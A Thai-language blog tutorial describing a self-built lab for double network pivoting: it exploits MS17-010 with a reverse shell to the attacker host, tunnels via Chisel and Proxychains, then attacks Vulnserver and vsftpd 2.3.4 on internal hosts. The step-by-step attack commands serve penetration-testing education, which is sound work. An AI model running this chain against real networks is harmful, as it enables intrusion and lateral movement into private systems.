สวัสดีครับ หลังจากที่บทความก่อนหน้าได้อธิบายเรื่องการ Pivoting Network มาแล้ว ว่าคืออะไร? มีเครื่องมืออะไรในการทำบ้าง? ส่วนในวันนี้ผมจะมาสาธิตการทำ Lab ในรูปแบบที่ต้องใช้วิธี Double Pivoting โดยที่ผมได้สร้าง Lab นี้ เพื่อเป็นตัวอย่างรวมไปถึงขั้นตอนจำลองสถานการณ์ที่ต้องใช้ Pivoting Network ว่าจริง ๆ แล้วต้องทำอะไรอย่างไรบ้าง…
ต้องขอกล่าวก่อนว่านี้เป็น Lab ที่ผมได้สร้างขึ้นเพื่อสาธิตขั้นตอนตั้งแต่เริ่มต้นจนถึงขั้นตอน Pivot Network โดยรูปแบบของ Lab ที่จำลองนั้นจะเป็น Scenario ที่เครื่องของ Attacker สามารถติดต่อกับเครื่องเป้าหมายได้ผ่าน External Network แต่สิ่งที่ Attacker ต้องการคือการเข้าถึงเครื่องที่อยู่ภายใน Internal Network ของเป้าหมาย ที่ปกติแล้วเราไม่สามารถเข้าถึงได้โดยตรง ดังนั้นเราจึงต้องใช้วิธี Pivoting Networkเพื่อที่จะทำให้เราสามารถเชื่อมต่อกับเครื่องภายใน Internal Network ได้
แต่ก่อนที่เราจะสามารถเริ่มต้นการ Pivot Network ได้นั้น Attacker จำเป็นต้องหาวิธีการในการเข้าถึงหรือควบคุมเครื่องที่มี Network Interface ที่สามารถเข้าถึงได้ผ่าน External Network และเครื่องนั้น ๆ มีการเชื่อมต่อกับเครื่องภายใน Internal Network (เปรียบเสมือนยึดเครื่องที่เป็นประตูหน้าบ้านของเป้าหมายที่จะสามารถนำพา Attacker เข้าไปใน Internal Network ได้)
จุดประสงค์ของ Lab นี้คือ การทำให้เครื่องของ Attacker สามารถเข้าถึงเครื่องเป้าหมาย (C) ที่อยู่ภายใน Internal Network (B)
ซึ่งจุดนี้จะใช้ VM Ware รันระบบปฎิบัติการต่าง ๆ และตั้งค่า Network ดังรูป
ลักษณะโครงสร้าง Network ของ Lab
ประกอบไปด้วย 3 Networks คือ
- External Network
- เครื่อง Attacker: IP Address: 192.168.1.3
- เครื่องเป้าหมาย (A): Network Interface 1: IP Address: 192.168.1.4
2. Internal Network (A)
- เครื่องเป้าหมาย (A): Network Interface 2: IP Address 10.10.10.10
- เครื่องเป้าหมาย (B): Network Interface 1: IP Address 10.10.10.20
3. Internal Network (B):
- เครื่องเป้าหมาย (B): Network Interface 2: IP Address 20.20.20.100
- เครื่องเป้าหมาย ©: IP Address 20.20.20.200
มาเริ่มต้นทำ Lab กันครับ
- อันดับแรก คือเราต้องตรวจสอบว่าเครื่องของ Attacker สามารถเชื่อมต่อไปยังเครื่องเป้าหมาย (A) ได้หรือไม่ก่อนโดย โดยใช้คำสั่ง
$ ping 192.168.1.4
2. เมื่อตรวจสอบแล้วว่าสามารถเชื่อมต่อไปยังเครื่องเป้าหมาย (A) ได้แล้ว ถัดมาเป็นการใช้เครื่องมือที่เรียกว่า Nmap เพื่อสแกนหา Service Port ของเครื่องเป้าหมาย (A) ทำให้เราสามารถอาศัยข้อมูลเบื้องต้น เช่น เซอร์วิสและเวอร์ชันของเซอร์วิสของเป้าหมายที่เปิดใช้งาน มาค้นหาว่ามีช่องโหว่ที่สามารถใช้โจมตีได้หรือไม่ โดยใช้คำสั่ง
$ nmap -sC -sV -Pn -F 192.168.1.4
3. ใช้เครื่องมือคำสั่ง Nmap อีกครั้ง โดยการเพิ่ม Script ในการตรวจสอบว่าเครื่องเป้าหมาย (A) นั้นมีช่องโหว่ ms17_010 หรือไม่ โดยคำสั่ง
$ nmap -p 445 — script smb-vuln-ms17–010 192.168.1.4
4. เราทราบแล้วว่าเครื่องเป้าหมาย (A) มีช่องโหว่ ms17–010 แล้ว จากนั้นจึงเริ่มค้นหา Exploit สำหรับการโจมตีช่องโหว่นี้ และพบว่าสามารถนำ “Autoblue-ms-17–010” จาก “ https://github.com/3ndG4me/AutoBlue-MS17-010 ” มาใช้งานได้ โดย “Autoblue-ms-17–010” นั้นเป็น Script ที่จะสามารถสร้าง Payload ในการรับ Connection และใช้งาน Exploit Script ของ ms17–010 ได้โดยง่าย เริ่มต้นการใช้งาน “Autoblue-ms-17–010” โดยคำสั่ง
$ ./shell_prep.sh
สร้าง payload เพื่อสำหรับ Reverse shell ที่ lhost 192.168.1.3 lport = 1234
5. จากขั้นตอนก่อนหน้าเราได้สร้าง Payload สำหรับการรอรับ Reverse shell ที่เครื่อง Attacker (IP Address : 192.168.1.3) ที่ Port 1234 จากนั้นใช้คำสั่ง “nc” เพื่อรอรับ Connection ที่ส่ง Reverese shell มาจากเครื่องเป้าหมาย (A) กลับมาสู่เครื่อง Attacker
$ nc -nlvp 1234
6. ใช้งาน Exploit Script ของ ms17–010_Eternalblue เพื่อเริ่มการโจมตีช่องโหว่
$ python eternalblue_exploit8.py 192.168.1.4 ./shellcode/sc_x64.bin
7. เมื่อเสร็จสิ้นการทำงานของ Exploit Script แล้ว จะเห็นได้ว่าเราสามารถใช้งาน Shell ของเครื่องเป้าหมาย (A) ได้แล้ว ที่กล่าวมาต่าง ๆ ถึง 6 ขั้นตอนนี้ คือขั้นตอนเริ่มต้นยึดเครื่องแรกที่เปรียบเสมือนเครื่องด่านหน้าที่จะนำพาเราไปสู่เครื่องภายใน Internal Network เท่านั้น ยังไม่ได้เริ่มการ Pivot Network เลย
8. เราสามารถใช้คำสั่ง “ipconfig” ตรวจสอบว่าเครื่องเป้าหมาย (A) มี Network Interface ใด ๆ บ้าง ตรงนี้ทำให้เรารู้แล้วว่าเครื่องเป้าหมาย (A) มีอีก Network Interface ที่เชื่อมต่อกับ Network วง 10.10.10.0/24
9. ทดสอบการเชื่อมต่อโดย Ping จากเครื่อง Attacker ไปยังไปยังเครื่องเป้าหมาย (B) ซึ่งเป็นเครื่องที่อยู่ภายใน Internal network (A) (IP Address :10.10.10.20) เราจะเห็นว่าไม่สามารถติดต่อไปยังเป้าหมายได้ เนื่องจากเป็น Internal IP Address ดังนั้นหาก Attacker ต้องการเข้าเชื่อมต่อเครื่องภายใน Internal Network จึงต้องอาศัยวิธีการที่เรียกว่า Pivot Network ในขั้นตอนต่อไป
10. มาถึงขั้นตอนนี้แล้วตอนนี้แล้วเราได้ยึดเครื่องเป้าหมาย (A) เรียบร้อยแล้ว ซึ่งหมายถึงตอนนี้เราได้ประตูหน้าที่จะนำพาเราไปสู่ Internal Network (A) ได้แล้ว ต่อมาเราจึงจะต้องทำการ Pivot Network ซึ่งมีหลากหลายวิธี แต่ผู้เขียนเลือกใช้เป็นวิธีการใช้ tools ที่เรียกว่า Chisel ซึ่งขั้นตอนแรกเราจำเป็นต้องทำคือ การอัปโหลดไฟล์ chisel.exe เข้าสู่เครื่องเป้าหมาย (A) ก่อน
11. จากนั้นเปิดใช้งาน Chisel Server บนเครื่อง Attacker โดยคำสั่ง
$ chisel server -p 9999 — reverse
คำสั่งนี้เป็นทำให้ chisel ทำงานในโหมด Server ที่ port 9999
12. ขั้นตอนต่อไปคือการเปิดใช้งาน Chisel Client บนเครื่องเป้าหมาย (A) เป็นการทำให้ chisel ทำงานในโหมด client เพื่อให้ผู้โจมตีสามารถเชื่อมต่อไปยังเป้าหมายผ่าน Proxy ที่ port 9050 ได้
> start chisel.exe client 192.168.1.3:9999 R:9050:socks &
คำสั่งนี้ทำให้ chisel ทำงานในโหมด client เพื่อให้ Attacker สามารถเชื่อมต่อไปยังเป้าหมายผ่าน Proxy ที่port 9050 ได้
13. แต่การที่เครื่อง Attacker จะสามารถเชื่อมต่อไปยัง Proxy port 9050 นั้น จำเป็นต้องอาศัยเครื่องมือที่เรียกว่า Proxychains
14. ในการที่เราจะใช้งาน Proxychains เพื่อเชื่อมต่อไปยัง Proxy port ที่กำหนด เราสามารถแก้ไขการตั้งค่าของ Proxychains ได้ที่ “/etc/proxychains4.conf” และแก้ไขในส่วนของ Proxy list เป็น “sock5 127.0.0.1 9050”
15. จากนั้นเมื่อเราจะใช้งานเครื่องมือหรือคำสั่งต่าง ๆ เราสามารถใช้ผ่าน Proxychains ควบคู่กับคำสั่งที่จะใช้ จะทำให้สามารถใช้งานคำสั่งนั้น ๆ ให้วิ่งผ่าน Proxy ที่กำหนด จากรูปตัวอย่างเป็นการใช้เครื่องมือ Proxychains คู่กับ Nmap เพื่อสแกนหา Services Port ของเป้าหมาย เมื่อเราพบผลลัพธ์นั้นหมายความว่าเราสามารถเชื่อมต่อไปยัง Internal Network (A) ได้แล้ว เป็นอันเสร็จสิ้นการ Pivot ครั้งแรก
$ proxychains nmap -sC -sV -Pn -p 139,445,9999 10.10.10.20
16. ตรวจสอบผลลัพธ์ Nmap ไปยังเครื่องเป้าหมาย (B) และพบว่าเครื่องเป้าหมาย (B) เปิดใช้งานเซอร์วิส “Vulnserver” ที่ port 9999
17. ขออธิบายเพิ่มเติมว่าที่เครื่องเป้าหมาย (B) เซอร์วิส “Vulnserver” นั้นเป็นเซอร์วิสที่มีช่องโหว่ Buffer overflow ที่ผมได้อัปโหลดและเปิดใช้งานโปรแกรมบนเครื่องเป้าหมาย จากนั้นผมจึงเขียน Script เพื่อโจมตีเป้าหมายเพื่อยึดครองระบบนี้ต่อไป
18. เริ่มโจมตีผ่านช่องโหว่ Buffer overflow โดย Exploit Script ที่เราเขียนขึ้น ซึ่งจะทำให้เราเข้าควบคุมเครื่องเป้าหมายจากระยะไกล (RCE) ได้ โดยขั้นตอนการวิธีการทำ Remote command execution (RCE) จากช่องโหว่ buffer overflow สามารถศึกษาตามตัวอย่างวิดิโอได้หารายละเอียดต่อได้ที่ <<< https://github.com/gh0x0st/Buffer_Overflow >>>
19. ใช้งาน Exploit Script ผ่าน Proxychains หากพบว่าเชื่อมต่อหรือโจมตีได้สำเร็จ จะทำให้เครื่องเป้าหมาย (B) เปิดการเชื่อมต่อที่ “Port 5678”
20. เชื่อมต่อไปยังเป้าหมายเครื่องเป้าหมาย (B) ที่ Port 5678 ซึ่งได้ถูกเปิดโดย Exploit Script ของเรา
21. เห็นได้ว่าตอนนี้เราสามารถเข้าถึงควบคุมเครื่องเป้าหมาย (B) (IP Address: 10.10.10.20) ได้แล้ว แต่เราก็พบอีกว่าเครื่องนี้มี 2 Network Interface ที่จะทำให้เราสามารถไปต่อยัง Internal Network (B) ได้ ดังนั้น เราจึงสามารถใช้วิธี Pivot Network อีกขั้น ซึ่งจะเรียกวิธีการนี้ว่า Double Pivot นั้นเอง
22. ขั้นตอนวิธีการทำจะคล้าย ๆ ขั้นตอนการ Pivot Network ที่ทำแบบครั้งแรก คือใช้คำสั่ง chisel โหมด server บนเครื่องเป้าหมาย (A) โดยคำสั่ง
> Chisel.exe server -p 8888 –-reverse
คำสั่งนี้เป็นทำให้ chisel ทำงานในโหมด Server ที่ port 8888
23. ต่อมาคือการใช้งาน chisel client บนเครื่องเป้าหมาย (B) โดยคำสั่ง
> chisel.exe client 10.10.10.10:8888 R:9060:socks
คำสั่งนี้ทำให้ chisel ทำงานในโหมด client เพื่อให้เราสามารถเชื่อมต่อไปยังเป้าหมายผ่าน Proxy ที่port 9060 ได้
24. แก้ไขการตั้งค่าของ Proxychains ที่ “/etc/proxychains4.conf” และเพิ่มการเชื่อมต่อ Proxy list “sock5 127.0.0.1 9060”
25. คราวนี้เวลาเราจะเชื่อมต่อผ่าน proxy ก็ให้ใช้ “proxychains” เป็นคำสั่งนำหน้าและตามด้วยคำสั่งที่ต้องการใช้งาน เช่นในรูปคือใช้คำสั่ง “nmap” สำหรับการหา Service port ของเครื่องเป้าหมาย (C) ต่อไป
26. ตรวจสอบผลลัพธ์ของ “nmap” และพบว่าเครื่องเป้าหมาย (C) มีเซอร์วิสที่น่าสนใจคือ vsftp 2.3.4 ซึ่งเป็นเซอร์วิสที่มีช่องโหว่ที่จะทำให้เราสามารถ Remote command execution (RCE) ได้
27. ใช้งาน Exploit Scipt (https://www.exploit-db.com/exploits/49757) เพื่อโจมตีช่องโหว่ vsftp 2.3.4 ดังกล่าว จะเห็นว่าสามารถเข้าถึงเครื่องสุดท้ายได้แล้ว ก็คือเครื่องเป้าหมาย (C) เป็นอันสิ้นสุด Lab จุดประสงค์ของ Lab ที่ได้สร้างมา คือการเข้าถึงเครื่องเป้าหมาย (C) ให้ได้ครับ
มาถึงตรงนี้ขอขอบคุณทุก ๆ คนที่เข้ามาอ่านนะครับ
References
- https://datafarm-cybersecurity.medium.com/pivoting-network-9209f024ce36
- https://www.exploit-db.com/exploits/49757
- https://github.com/gh0x0st/Buffer_Overflow
- https://github.com/3ndG4me/AutoBlue-MS17-010
- https://github.com/jpillora/chisel/releases
- https://github.com/stephenbradshaw/vulnserver
- https://docs.rapid7.com/metasploit/metasploitable-2/